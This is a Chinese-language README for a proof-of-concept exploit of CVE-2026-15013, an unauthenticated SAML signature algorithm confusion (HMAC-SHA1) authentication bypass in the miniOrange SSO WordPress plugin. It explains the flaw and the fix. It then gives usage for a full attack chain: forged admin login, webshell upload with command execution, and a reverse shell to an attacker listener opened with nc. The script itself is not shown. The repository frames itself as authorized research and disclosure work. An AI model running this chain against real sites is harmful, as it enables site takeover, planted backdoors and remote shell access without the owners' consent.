CVE-2026-15013 的概念验证:通过 miniOrange SAML Single Sign On – SSO Login WordPress 插件(版本截至并包括 5.4.3)中的 SAML 签名算法混淆(HMAC-SHA1)实现未认证认证绕过。
仅限授权测试。 仅在你拥有或已获得明确许可的系统上使用此代码。未经授权访问计算机系统是违法的。
| 角色 | |
|---|---|
| 漏洞发现者 | lhking(在 CVE 记录中被署名) |
| CVE / CNA | Wordfence |
| 本仓库 | 独立实验室复现 / PoC 自动化(非原始发现) |
CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() 信任来自攻击者控制的 SAMLResponse 中的 SignatureMethod 算法。当设置为 HMAC-SHA1 时,插件将 IdP RSA 公钥重新转换为 HMAC 共享密钥,并使用它验证签名。任何能够读取 IdP 证书(通常是公开元数据)的人都可以为任何现有 WordPress 用户(包括管理员)伪造有效断言。
已在 5.4.4+ 中修复(不安全的算法 / HMAC 被拒绝)。
9.8 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl CLI(用于从证书提取公钥)安装依赖:
pip install -r requirements.txt
完整链路(枚举、HMAC 登录、管理员、Webshell):
python3 exploit.py -u https://TARGET.example
可选的反向 shell(先启动监听器:nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
仅登录(无 shell):
python3 exploit.py -u https://TARGET.example --no-shell
手动覆盖:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhost 反向 shell本项目仅用于教育和授权安全研究。作者和贡献者不对滥用行为负责。在测试第三方系统之前,务必获得书面许可。原始漏洞已通过负责任披露流程报告;本仓库仅用于学习和防御性验证的复现演示。
用于研究用途。不提供任何担保。
| 标志 | 描述 |
|---|
-u, --url | WordPress 基础 URL(必需) |
-k, --hmac-key | PEM 公钥或证书文件;若为空,则从 IdP 元数据获取 |
--issuer | 覆盖 IdP 颁发者(issuer) |
--acs | 覆盖 ACS URL |
--nameid | 强制指定单个 WordPress 用户名 |
--lhost / --lport | 反向 shell 回调(默认端口 4444) |
--no-shell | 获取管理员会话后停止 |
--no-reverse | 上传 shell 但不触发反向连接 |